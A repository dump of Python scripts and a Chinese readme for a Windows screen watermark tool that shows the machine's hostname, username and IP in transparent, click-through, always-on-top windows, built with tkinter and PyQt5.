    FILE: d-python-dc/watermark/backup/screen_watermark_qt5_old.py
    ================================================
    # screen_watermark_qt5_old.py
    import sys
    import socket
    import getpass
    import os
    from PyQt5.QtWidgets import QApplication, QWidget, QLabel, QVBoxLayout
    from PyQt5.QtCore import Qt
    from PyQt5.QtGui import QFont
    
    '''
    作者:hoochanlon
    主页:https://github.com/hoochanlon
    '''
    
    # 设置 Qt 平台插件路径
    qt_plugin_path = os.path.join(os.path.expanduser("~"), "AppData", "Local", "Programs", "Python", "Python313", "Lib", "site-packages", "PyQt5", "Qt5", "plugins", "platforms")
    os.environ['QT_QPA_PLATFORM_PLUGIN_PATH'] = qt_plugin_path
    
    # 获取计算机名
    hostname = socket.gethostname()
    # 获取IP
    Compute_addr = socket.gethostbyname(hostname)
    # 获取登录用户名
    userName = getpass.getuser()
    
    show = f'屏幕加水印-{hostname}-{userName}-{Compute_addr}'
    
    # 自定义窗口类,用于水印显示
    class WatermarkWindow(QWidget):
        def __init__(self, position, parent=None):
            super().__init__(parent)
            self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint | Qt.Tool)
            self.setAttribute(Qt.WA_TranslucentBackground)
            self.setWindowOpacity(0.4)  # 透明度40%
    
            # 获取屏幕宽高
            screen_geometry = QApplication.desktop().screenGeometry()
            self.setGeometry(screen_geometry)  # 设置窗口为全屏
    
            # 创建水印标签
            self.label = QLabel(self)
            self.label.setText(show)
            self.label.setFont(QFont('微软雅黑', 23))
            self.label.setStyleSheet('color: #708090;')
    
            # 使用布局设置标签位置
            layout = QVBoxLayout(self)
            layout.setContentsMargins(0, 0, 0, 0)  # 去除布局边距
    
            if position == 'nw':
                layout.setAlignment(Qt.AlignTop | Qt.AlignLeft)  # 左上
            elif position == 'sw':
                layout.setAlignment(Qt.AlignBottom | Qt.AlignLeft)  # 左下
            elif position == 'ne':
                layout.setAlignment(Qt.AlignTop | Qt.AlignRight)  # 右上
            elif position == 'se':
                layout.setAlignment(Qt.AlignBottom | Qt.AlignRight)  # 右下
            elif position == 'center':
                layout.setAlignment(Qt.AlignCenter)  # 中间
            elif position == 'e':
                layout.setAlignment(Qt.AlignVCenter | Qt.AlignRight)  # 右中
            elif position == 'w':
                layout.setAlignment(Qt.AlignVCenter | Qt.AlignLeft)  # 左中
    
            layout.addWidget(self.label)  # 添加标签到布局
    
        def paintEvent(self, event):
            # 不需要手动绘制背景或文本,使用布局和对齐来自动处理
            pass
    
    
    def create_windows():
        windows = []
        positions = ['nw', 'sw', 'center', 'ne', 'se', 'nw', 'sw', 'e', 'w', 'ne', 'se']
        for position in positions:
            window = WatermarkWindow(position)
            window.show()
            windows.append(window)
        return windows
    
    
    if __name__ == '__main__':
        # 检查文件是否存在
        Desktop_dir = os.path.join(os.path.expanduser("~"), "Desktop")
        current_dir = os.path.join(Desktop_dir, "no_screen_mark.ini")
        exists = os.path.exists(current_dir)
    
        if exists:
            print("不显示")
        else:
            app = QApplication(sys.argv)
            windows = create_windows()
            sys.exit(app.exec_())  # 启动应用程序
    
    
    ================================================
    FILE: d-python-dc/watermark/backup/screen_watermark_tkinter.py
    ================================================
    # screen_watermark_tkinter.py
    import tkinter, win32api, win32con, pywintypes, os
    import socket
    import getpass
    import tkinter.font as tkFont
    import platform
    
    '''
    作者:hoochanlon
    主页:https://github.com/hoochanlon
    '''
    
    # 获取计算机名
    hostname = socket.gethostname()
    # 获取IP
    Compute_addr = socket.gethostbyname(hostname)   # get ip
    print(Compute_addr)
    
    # 获取登陆用户名
    userName = getpass.getuser()
    
    show = '屏幕加水印-{}-{}-{}'.format(hostname, userName, Compute_addr)
    
    
    # 设置窗口透明度等
    def setup_window(root_window):
        root_window.overrideredirect(True)  # 隐藏显示框True
        root_window.attributes("-alpha", 0.4)  # 窗口透明度40% 
        w = root_window.winfo_screenwidth()
        h = root_window.winfo_screenheight()
        root_window.geometry("%dx%d" % (w, h))
        root_window.lift()  # 置顶层
        root_window.wm_attributes("-topmost", True)  # 始终置顶层
        root_window.wm_attributes("-disabled", True)
        root_window.wm_attributes("-transparentcolor", "white")  # 白色背景透明
        hWindow = pywintypes.HANDLE(int(root_window.frame(), 16))  # 16
        exStyle = win32con.WS_EX_COMPOSITED | win32con.WS_EX_LAYERED | win32con.WS_EX_NOACTIVATE | win32con.WS_EX_TOPMOST | win32con.WS_EX_TRANSPARENT
        win32api.SetWindowLong(hWindow, win32con.GWL_EXSTYLE, exStyle)
    
    
    def create_watermark_windows():
        # 创建并设置窗口
        windows = [tkinter.Tk() for _ in range(12)]  # 创建 12 个窗口
    
        # 设置每个窗口
        for window in windows:
            setup_window(window)
    
        # 设置水印标签
        tkinter.Label(windows[0], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='nw').pack()  # 左上
        tkinter.Label(windows[1], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='sw').pack()  # 左下
        tkinter.Label(windows[3], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='center').pack()  # 中间
        tkinter.Label(windows[4], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='ne').pack()  # 右上
        tkinter.Label(windows[5], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='se').pack()  # 右下
    
        # 新增位置的水印
        tkinter.Label(windows[6], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='nw', pady=50).pack()  # 左上
        tkinter.Label(windows[7], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='sw', pady=50).pack()  # 左下
        tkinter.Label(windows[8], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='e').pack()  # 右中
        tkinter.Label(windows[9], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='w').pack()  # 左中
        tkinter.Label(windows[10], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='ne', pady=50).pack()  # 右上
        tkinter.Label(windows[11], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='se', pady=50).pack()  # 右下
    
        return windows
    
    
    if __name__ == '__main__':
        # 检查文件是否存在
        Desktop_dir = os.path.join(os.path.expanduser("~"), "Desktop")
        current_dir = os.path.join(Desktop_dir, "no_screen_mark.ini")
        exists = os.path.exists(current_dir)
    
        if exists:
            print("不显示")
        else:
            windows = create_watermark_windows()
            for window in windows:
                window.mainloop()  # 循环显示每个窗口
    
    
    
    ================================================
    FILE: d-python-dc/watermark/backup/screen_watermark_tkinter_old.py
    ================================================
    # screen_watermark_tkinter_old.py
    import tkinter, win32api, win32con, pywintypes, os
    import socket
    import getpass
    import tkinter.font as tkFont
    import platform
    
    '''
    作者:hoochanlon
    主页:https://github.com/hoochanlon
    '''
    
    # 获取计算机名
    hostname = socket.gethostname()
    # 获取IP
    Compute_addr = socket.gethostbyname(hostname)   # get ip
    print(Compute_addr)
    
    # 获取登陆用户名
    userName = getpass.getuser()
    
    show = '屏幕加水印-{}-{}-{}'.format(hostname, userName, Compute_addr)
    
    
    # 设置窗口透明度等
    def setup_window(root_window):
        root_window.overrideredirect(True)  # 隐藏显示框True
        root_window.attributes("-alpha", 0.4)  # 窗口透明度40% 
        w = root_window.winfo_screenwidth()
        h = root_window.winfo_screenheight()
        root_window.geometry("%dx%d" % (w, h))
        root_window.lift()  # 置顶层
        root_window.wm_attributes("-topmost", True)  # 始终置顶层
        root_window.wm_attributes("-disabled", True)
        root_window.wm_attributes("-transparentcolor", "white")  # 白色背景透明
        hWindow = pywintypes.HANDLE(int(root_window.frame(), 16))  # 16
        exStyle = win32con.WS_EX_COMPOSITED | win32con.WS_EX_LAYERED | win32con.WS_EX_NOACTIVATE | win32con.WS_EX_TOPMOST | win32con.WS_EX_TRANSPARENT
        win32api.SetWindowLong(hWindow, win32con.GWL_EXSTYLE, exStyle)
    
    
    # 创建其他四个窗口
    root1 = tkinter.Tk()
    root2 = tkinter.Tk()
    root3 = tkinter.Tk()
    root4 = tkinter.Tk()
    root5 = tkinter.Tk()  # 新增的窗口
    root6 = tkinter.Tk()  # 新增的窗口
    root7 = tkinter.Tk()  # 新增的窗口
    root8 = tkinter.Tk()  # 新增的窗口
    root9 = tkinter.Tk()  # 新增的窗口
    root10 = tkinter.Tk()  # 新增的窗口
    root11 = tkinter.Tk()  # 新增的窗口
    
    # 设置每个窗口
    setup_window(root1)
    setup_window(root2)
    setup_window(root3)
    setup_window(root4)
    setup_window(root5)  # 配置新窗口
    setup_window(root6)  # 配置新窗口
    setup_window(root7)  # 配置新窗口
    setup_window(root8)  # 配置新窗口
    setup_window(root9)  # 配置新窗口
    setup_window(root10)  # 配置新窗口
    setup_window(root11)  # 配置新窗口
    
    
    
    # 设置水印标签
    tkinter.Label(root1, text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='nw').pack()  # 左上
    tkinter.Label(root2, text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='sw').pack()  # 左下
    tkinter.Label(root3, text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='center').pack()  # 中间
    tkinter.Label(root4, text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='ne').pack()  # 右上
    tkinter.Label(root5, text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='se').pack()  # 右下
    
    
    
    # 新增位置的水印
    tkinter.Label(root6, text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='nw', pady=50).pack()  # 左上
    tkinter.Label(root7, text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='sw', pady=50).pack()  # 左下
    tkinter.Label(root8, text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='e').pack()  # 右中
    tkinter.Label(root9, text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='w').pack()  # 右中
    tkinter.Label(root10, text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='ne', pady=50).pack()  # 右上
    tkinter.Label(root11, text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='se', pady=50).pack()  # 右下
    
    
    
    Desktop_dir = os.path.join(os.path.expanduser("~"), "Desktop")
    current_dir = os.path.join(Desktop_dir, "no_screen_mark.ini")
    exists = os.path.exists(current_dir)
    
    if exists:
        print("不显示")
    else:
        root1.mainloop()  # 循环
        root1.mainloop()  # 循环
        root2.mainloop()  # 循环
        root3.mainloop()  # 循环
        root4.mainloop()  # 循环
        root5.mainloop()  # 循环
        root6.mainloop()  # 循环
        root7.mainloop()  # 循环
        root8.mainloop()  # 循环
        root9.mainloop()  # 循环
        root10.mainloop()  # 循环
        root11.mainloop()  # 循环
    
    
    
    ================================================
    FILE: d-python-dc/watermark/hostname_user_ip_date.py
    ================================================
    # hostname_user_ip.py
    import sys
    import getpass
    import os
    import socket
    import psutil
    from datetime import datetime
    
    def get_current_date():
        """
        返回当前日期,格式为 年-月-日
        :return: str 当前日期
        """
        return datetime.now().strftime("%Y年%m月%d日")
    
    
    def get_hostname_username():
        # 获取计算机名
        hostname = socket.gethostname()
        # 获取登录用户名
        username = getpass.getuser()
        return hostname, username
    
    def get_wifi_ip():
        # 获取所有网络接口
        interfaces = psutil.net_if_addrs()
    
        # 遍历所有接口
        for interface, addrs in interfaces.items():
            if "WLAN" in interface:  # 查找Wi-Fi接口
                for addr in addrs:
                    if addr.family == socket.AF_INET:  # 只获取IPv4地址
                        return addr.address
        
        return "127.0.0.1"  # 如果没有找到Wi-Fi接口,返回回环地址
    
    def get_ethernet_ip():
        # 获取所有网络接口
        interfaces = psutil.net_if_addrs()
    
        # 遍历所有接口
        for interface, addrs in interfaces.items():
            if "以太网" in interface:  # 查找以太网接口
                for addr in addrs:
                    if addr.family == socket.AF_INET:  # 只获取IPv4地址
                        return addr.address
        
        return "127.0.0.1"  # 如果没有找到以太网接口,返回回环地址
    
    def get_preferred_ip():
        """优先返回Wi-Fi地址,如果没有Wi-Fi连接则返回以太网地址"""
        wifi_ip = get_wifi_ip()
        if wifi_ip:
            return wifi_ip  # 如果找到 Wi-Fi 地址,优先返回
        else:
            return get_ethernet_ip()  # 如果没有 Wi-Fi,返回以太网地址
    
    
    
    ================================================
    FILE: d-python-dc/watermark/main.py
    ================================================
    import os
    import sys
    import screen_watermark_tkinter
    import screen_watermark_qt5
    import screen_watermark_qt5_oblique
    
    
    
    def qt5_effect():
        # 检查文件是否存在
        Desktop_dir = os.path.join(os.path.expanduser("~"), "Desktop")
        current_dir = os.path.join(Desktop_dir, "no_screen_mark.ini")
        exists = os.path.exists(current_dir)
    
        if exists:
            print("不显示")  # 如果文件存在,不显示水印
        else:
            app = screen_watermark_qt5.QApplication(sys.argv)
            windows = screen_watermark_qt5.create_windows()  # 创建水印窗口
            sys.exit(app.exec_())  # 启动应用程序
    
    def tkinter_effect():
        # 检查文件是否存在
        Desktop_dir = os.path.join(os.path.expanduser("~"), "Desktop")
        current_dir = os.path.join(Desktop_dir, "no_screen_mark.ini")
        exists = os.path.exists(current_dir)
    
        if exists:
            print("不显示")
        else:
            windows = screen_watermark_tkinter.create_watermark_windows()
            for window in windows:
                window.mainloop()  # 循环显示每个窗口
    
    def qt5_oblique_effect():
        # 检查文件是否存在
        Desktop_dir = os.path.join(os.path.expanduser("~"), "Desktop")
        current_dir = os.path.join(Desktop_dir, "no_screen_mark.ini")
        exists = os.path.exists(current_dir)
    
        if exists:
            print("不显示")  # 如果文件存在,不显示水印
        else:
            app = screen_watermark_qt5_oblique.QApplication(sys.argv)
            windows = screen_watermark_qt5_oblique.create_windows()  # 创建水印窗口
            sys.exit(app.exec_())  # 启动应用程序
    
    
    if __name__ == '__main__':
        qt5_effect()  # 查看 qt5 实现效果
        # tkinter_effect() # 查看 tkinter 实现效果
        # qt5_oblique_effect() # 查看 qt5_oblique 实现效果
    
    ================================================
    FILE: d-python-dc/watermark/readme.md
    ================================================
    # 屏幕添加水印
    
    由于 tkinter 实现桌面水印字体有较明显的锯齿感,因此采用 Qt5 重写了一遍,也保留了之前旧的实现方式。
    
    1. 程序通过创建了多个全屏透明窗口,大小和屏幕一致。去掉了窗口的边框和标题栏,使窗口看起来没有边框。
    2. 窗口的内容半透明,看起来不会遮挡其他程序,将窗口的背景色设置为白色,之后这一部分会变成透明。
    3. 控制文本相对于窗口的位置,也就是水印位置,并将窗口设置为始终在所有窗口之上显示,这样水印不会被其他程序窗口覆盖。
    4. 透明化使得这个透明窗口不会接收用户的点击或交互,只是一个纯粹的视觉元素,通过相关参数设置保证水印不会干扰用户的操作。
    
    ## 效果展示
    
    tkinter实现效果
    
    ![ ](https://img.yonrd.com/i/2024/12/08/sxhfvs.png)
    
    qt5实现效果
    
    ![ ](https://img.yonrd.com/i/2024/12/08/sxhezz.png)
    
    ![ ](https://img.yonrd.com/i/2024/12/09/nccwjv.png)
    
    ## 使用方式
    
    生成环境依赖,并安装环境依赖
    
    ```
    pip freeze > requirements.txt
    pip install -r requirements.txt
    ```
    
    `python main.py` 查看相关效果
    
    ```
    if __name__ == '__main__':
        qt5_effect()  # 查看 qt5 实现效果
        # tkinter_effect() # 查看 tkinter 实现效果
        # qt5_oblique_effect() # 查看 qt5 实现斜着的水印效果
    ```
    
    screen_watermark_qt5.py、screen_watermark_tkinter.py,可根据自己需要按需改写。
    
    pyinstaller 打包
    
    ```
    pyinstaller -w -F -i "C:\Users\administrator\Desktop\watermark\images\logo.ico" --onefile ^
    --add-data "C:\Users\administrator\Desktop\watermark\images;images" ^ 
    --name "屏幕加水印" --distpath "C:\Users\administrator\Desktop" "C:\Users\administrator\Desktop\watermark\main.py"
    ```
    
    
    
    ================================================
    FILE: d-python-dc/watermark/requirements.txt
    ================================================
    altgraph==0.17.4
    bcrypt==4.2.1
    certifi==2024.8.30
    cffi==1.17.1
    charset-normalizer==3.4.0
    colorama==0.4.6
    contourpy==1.3.1
    cryptography==43.0.3
    cycler==0.12.1
    docopt==0.6.2
    fonttools==4.55.0
    idna==3.10
    kiwisolver==1.4.7
    matplotlib==3.9.2
    Nuitka==2.5.6
    numpy==2.1.3
    ordered-set==4.1.0
    packaging==24.2
    paramiko==3.5.0
    pefile==2023.2.7
    pillow==11.0.0
    pipreqs==0.4.13
    psutil==6.1.0
    pycparser==2.22
    pyinstaller==6.11.1
    pyinstaller-hooks-contrib==2024.10
    PyNaCl==1.5.0
    pyparsing==3.2.0
    pypiwin32==223
    PyQt5==5.15.11
    PyQt5-Qt5==5.15.2
    PyQt5_sip==12.15.0
    PyQt6==6.7.1
    PyQt6-Qt6==6.7.3
    PyQt6_sip==13.8.0
    pystray==0.19.5
    python-dateutil==2.9.0.post0
    pywin32==308
    pywin32-ctypes==0.2.3
    requests==2.32.3
    setuptools==75.6.0
    six==1.16.0
    ttkbootstrap==1.10.1
    urllib3==2.2.3
    wasabi==1.1.3
    yarg==0.1.10
    zstandard==0.23.0
    
    
    ================================================
    FILE: d-python-dc/watermark/screen_watermark_qt5.py
    ================================================
    import sys
    import socket
    import getpass
    import os
    from PyQt5.QtWidgets import QApplication, QWidget, QLabel, QVBoxLayout
    from PyQt5.QtCore import Qt
    from PyQt5.QtGui import QFont
    import hostname_user_ip_date
    
    '''
    作者:hoochanlon
    主页:https://github.com/hoochanlon
    '''
    
    # 设置 Qt 平台插件路径
    qt_plugin_path = os.path.join(os.path.expanduser("~"), "AppData", "Local", "Programs", "Python", "Python313", "Lib", "site-packages", "PyQt5", "Qt5", "plugins", "platforms")
    os.environ['QT_QPA_PLATFORM_PLUGIN_PATH'] = qt_plugin_path
    
    # 获取计算机名、用户名
    hostname, username = hostname_user_ip_date.get_hostname_username()
    
    # 获取IP
    compute_addr = hostname_user_ip_date.get_preferred_ip()
    
    # 获取时间
    current_date =  hostname_user_ip_date.get_current_date()
    
    
    # show = f'屏幕加水印-{hostname}-{username}-{current_date}-{compute_addr}'
    show = f'屏幕加水印-{hostname}-{username}-{compute_addr}'
    
    # 自定义窗口类,用于水印显示
    class WatermarkWindow(QWidget):
        def __init__(self, position, pady=100, padx=0, parent=None):
            super().__init__(parent)
            self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint | Qt.Tool)
            self.setAttribute(Qt.WA_TranslucentBackground)
            self.setWindowOpacity(0.4)  # 透明度40%
    
            # 获取屏幕宽高
            screen_geometry = QApplication.desktop().screenGeometry()
            self.setGeometry(screen_geometry)  # 设置窗口为全屏
    
            # 创建水印标签
            self.label = QLabel(self)
            self.label.setText(show)
            self.label.setFont(QFont('微软雅黑', 23))
            self.label.setStyleSheet('color: #708090;')
    
            # 使用布局设置标签位置
            layout = QVBoxLayout(self)
            layout.setContentsMargins(0, 0, 0, 0)  # 去除布局边距
    
            # 设置水印位置
            if position == 'nw':  # 左上角
                layout.setAlignment(Qt.AlignTop | Qt.AlignLeft)  # 水印左上对齐
                # layout.setContentsMargins(padx, 100, 0, 0)  # 控制左上边距 pady 100
                layout.setContentsMargins(padx, pady, 0, 0)  # 控制左上边距
            elif position == 'sw':  # 左下角
                layout.setAlignment(Qt.AlignBottom | Qt.AlignLeft)  # 水印左下对齐
                # layout.setContentsMargins(padx, 0, 0, 100)  # 控制左下边距 pady 100
                layout.setContentsMargins(padx, 0, 0, pady)  # 控制左下边距
            elif position == 'ne':  # 右上角
                layout.setAlignment(Qt.AlignTop | Qt.AlignRight)  # 水印右上对齐
                # layout.setContentsMargins(0, 100, padx, 0)  # 控制右上边距
                layout.setContentsMargins(0, pady, padx, 0)  # 控制右上边距
            elif position == 'se':  # 右下角
                layout.setAlignment(Qt.AlignBottom | Qt.AlignRight)  # 水印右下对齐
                # layout.setContentsMargins(0, 0, padx, 100)  # 控制右下边距 pady 100
                layout.setContentsMargins(0, 0, padx, 100)  # 控制右下边距 
            elif position == 'center':  # 屏幕中心
                layout.setAlignment(Qt.AlignCenter)  # 水印居中对齐
            elif position == 'e':  # 右中
                layout.setAlignment(Qt.AlignVCenter | Qt.AlignRight)  # 水印垂直居中,右对齐
            elif position == 'w':  # 左中
                layout.setAlignment(Qt.AlignVCenter | Qt.AlignLeft)  # 水印垂直居中,左对齐
    
            layout.addWidget(self.label)  # 添加标签到布局
    
        def paintEvent(self, event):
            # 不需要手动绘制背景或文本,使用布局和对齐来自动处理
            pass
    
    
    def create_windows():
        windows = []
        positions = [
            'nw', 'sw', 'center', 'ne', 'se',  # 四个角和中心位置
            'nw', 'sw',  # 重复左上角和左下角水印(可以添加多个水印)
            'e', 'w',    # 水印添加到右中和左中
            'ne', 'se'   # 重复右上角和右下角水印
        ]  # 水印位置列表
    
        # 创建每个窗口,并指定对应的边距和位置
        for position in positions:
            # if position == 'sw':  # 如果是左下角
            #     pady = 100  # 设置左下角水印的垂直偏移量(增加高度)
            window = WatermarkWindow(position)  # 创建水印窗口
            window.show()  # 显示水印窗口
            windows.append(window)  # 将窗口添加到列表
    
        # 添加第二个左下角水印
        sw2_window = WatermarkWindow('sw', pady=200)  # 创建另一个左下角水印,设置不同的pady值
        sw2_window.show()  # 显示第二个左下角水印
        windows.append(sw2_window)  # 添加到窗口列表
        
        return windows
    
    
    if __name__ == '__main__':
        # 检查文件是否存在
        Desktop_dir = os.path.join(os.path.expanduser("~"), "Desktop")
        current_dir = os.path.join(Desktop_dir, "no_screen_mark.ini")
        exists = os.path.exists(current_dir)
    
        if exists:
            print("不显示")  # 如果文件存在,不显示水印
        else:
            app = QApplication(sys.argv)
            windows = create_windows()  # 创建水印窗口
            sys.exit(app.exec_())  # 启动应用程序
    
    
    ================================================
    FILE: d-python-dc/watermark/screen_watermark_qt5_oblique.py
    ================================================
    import sys
    import os
    from PyQt5.QtWidgets import QApplication, QWidget
    from PyQt5.QtCore import Qt
    from PyQt5.QtGui import QPainter, QFont
    import hostname_user_ip_date
    
    '''
    作者:hoochanlon
    主页:https://github.com/hoochanlon
    '''
    
    # 设置 Qt 平台插件路径
    qt_plugin_path = os.path.join(os.path.expanduser("~"), "AppData", "Local", "Programs", "Python", "Python313", "Lib", "site-packages", "PyQt5", "Qt5", "plugins", "platforms")
    os.environ['QT_QPA_PLATFORM_PLUGIN_PATH'] = qt_plugin_path
    
    # 获取计算机名、用户名
    hostname, username = hostname_user_ip_date.get_hostname_username()
    
    # 获取IP
    compute_addr = hostname_user_ip_date.get_preferred_ip()
    
    # 获取时间
    current_date = hostname_user_ip_date.get_current_date()
    
    # 定义显示的水印文本
    show = f'屏幕加水印-{hostname}-{username}-{current_date}-{compute_addr}'
    
    
    class WatermarkWindow(QWidget):
        def __init__(self, position, pady=0, padx=0, parent=None):
            super().__init__(parent)
            self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint | Qt.Tool)
            self.setAttribute(Qt.WA_TranslucentBackground)
            self.setWindowOpacity(0.4)  # 透明度40%
    
            # 获取屏幕宽高
            screen_geometry = QApplication.desktop().screenGeometry()
            self.setGeometry(screen_geometry)  # 设置窗口为全屏
            self.position = position
            self.pady = pady
            self.padx = padx
    
        def paintEvent(self, event):
            """自定义绘制水印文本,使用45度倾斜"""
            painter = QPainter(self)
            painter.setRenderHint(QPainter.Antialiasing)  # 设置抗锯齿渲染
            painter.setFont(QFont("微软雅黑", 23))  # 设置字体和大小
    
            # 保存当前状态
            painter.save()
    
            # 获取当前窗口宽高
            w = self.width()
            h = self.height()
    
            # 根据位置调整文本渲染偏移量
            if self.position == 'nw':
                watermark_text = f'左上角-{show}'  # 添加方向标记
                painter.translate(self.padx, self.pady)  # 左上角偏移
            elif self.position == 'sw':
                watermark_text = f'左下角-{show}'  # 添加方向标记
                painter.translate(self.padx, h - self.pady)  # 左下角偏移
            elif self.position == 'ne':
                watermark_text = f'右上角-{show}'  # 添加方向标记
                painter.translate(w - self.padx, self.pady)  # 右上角偏移
            elif self.position == 'se':
                watermark_text = f'右下角-{show}'  # 添加方向标记
                painter.translate(w - self.padx, h - self.pady)  # 右下角偏移
            elif self.position == 'center':
                watermark_text = f'中心-{show}'  # 添加方向标记
                painter.translate(w / 2 + self.padx, h / 2 + self.pady)  # 中心位置偏移
            elif self.position == 'e':
                watermark_text = f'右中-{show}'  # 添加方向标记
                painter.translate(w - self.padx - 50, h / 2 + self.pady)  # 调整偏移,确保水印可见
            elif self.position == 'w':
                watermark_text = f'左中-{show}'  # 添加方向标记
                painter.translate(self.padx + 50, h / 2 + self.pady)  # 调整偏移,确保水印可见
    
            # 这里添加新的右下角水印
            elif self.position == 'right_bottom':
                watermark_text = f'右下角新水印-{show}'  # 添加方向标记
                painter.translate(w - self.padx, h - self.pady)  # 右下角偏移
    
            painter.rotate(-45)  # 设置倾斜角度
            painter.setPen(Qt.gray)
    
            # 绘制水印文本
            painter.drawText(0, 0, watermark_text)  # 使用更新后的水印文本
            painter.restore()
    
    
    def create_windows():
        windows = []
    
        # 定义每个位置的偏移量
        positions = [
            ('nw', 50, 50),  # 左上角,偏移量 (pady, padx)
            ('sw', 100, 50),  # 左下角,偏移量 (pady, padx)
            ('ne', 50, 150),  # 右上角,偏移量 (pady, padx)
            ('se', 100, 150),  # 右下角,偏移量 (pady, padx)
            ('center', 150, 0),  # 中心,偏移量 (pady, padx)
            ('w', 0, 0),     # 左中,偏移到下方 (pady, padx)
            ('e', 100, 400),    # 右中,偏移到上方 (pady, padx)
            ('right_bottom', 100, 100)  # 新增的右下角水印,偏移量 (pady, padx)
        ]
    
        for position, pady, padx in positions:
            window = WatermarkWindow(position, pady=pady, padx=padx)
            window.show()
            windows.append(window)
    
        return windows
    
    
    if __name__ == '__main__':
        app = QApplication(sys.argv)
        windows = create_windows()
        sys.exit(app.exec_())
    
    
    ================================================
    FILE: d-python-dc/watermark/screen_watermark_tkinter.py
    ================================================
    # screen_watermark_tkinter.py
    import tkinter, win32api, win32con, pywintypes, os
    import socket
    import getpass
    import tkinter.font as tkFont
    import platform
    import hostname_user_ip_date
    
    
    '''
    作者:hoochanlon
    主页:https://github.com/hoochanlon
    '''
    
    # 获取计算机名、用户名
    hostname, username =  hostname_user_ip_date.get_hostname_username()
    
    # 获取IP
    compute_addr =  hostname_user_ip_date.get_preferred_ip()
    
    # 获取时间
    current_date =  hostname_user_ip_date.get_current_date()
    
    # show = '屏幕加水印-{}-{}-{}-{}'.format(hostname,username,current_date,compute_addr)
    show = '屏幕加水印-{}-{}-{}'.format(hostname,username,compute_addr)
    
    
    # 设置窗口透明度等
    def setup_window(root_window):
        root_window.overrideredirect(True)  # 隐藏显示框True
        root_window.attributes("-alpha", 0.4)  # 窗口透明度40% 
        w = root_window.winfo_screenwidth()
        h = root_window.winfo_screenheight()
        root_window.geometry("%dx%d" % (w, h))
        root_window.lift()  # 置顶层
        root_window.wm_attributes("-topmost", True)  # 始终置顶层
        root_window.wm_attributes("-disabled", True)
        root_window.wm_attributes("-transparentcolor", "white")  # 白色背景透明
        hWindow = pywintypes.HANDLE(int(root_window.frame(), 16))  # 16
        exStyle = win32con.WS_EX_COMPOSITED | win32con.WS_EX_LAYERED | win32con.WS_EX_NOACTIVATE | win32con.WS_EX_TOPMOST | win32con.WS_EX_TRANSPARENT
        win32api.SetWindowLong(hWindow, win32con.GWL_EXSTYLE, exStyle)
    
    
    def create_watermark_windows():
        # 创建并设置窗口
        windows = [tkinter.Tk() for _ in range(12)]  # 创建 12 个窗口
    
        # 设置每个窗口
        for window in windows:
            setup_window(window)
    
        # 设置水印标签
        tkinter.Label(windows[0], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='nw').pack()  # 左上
        tkinter.Label(windows[1], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='sw').pack()  # 左下
        tkinter.Label(windows[3], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='center').pack()  # 中间
        tkinter.Label(windows[4], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='ne').pack()  # 右上
        tkinter.Label(windows[5], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='se').pack()  # 右下
    
        # 新增位置的水印
        tkinter.Label(windows[6], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='nw', pady=50).pack()  # 左上
        tkinter.Label(windows[7], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='sw', pady=50).pack()  # 左下
        tkinter.Label(windows[8], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='e').pack()  # 右中
        tkinter.Label(windows[9], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='w').pack()  # 左中
        tkinter.Label(windows[10], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='ne', pady=50).pack()  # 右上
        tkinter.Label(windows[11], text=show, font=('微软雅黑', '23', 'normal'), fg='#708090', bg='white', width=1000, height=1000, anchor='se', pady=50).pack()  # 右下
    
        return windows
    
    
    if __name__ == '__main__':
        # 检查文件是否存在
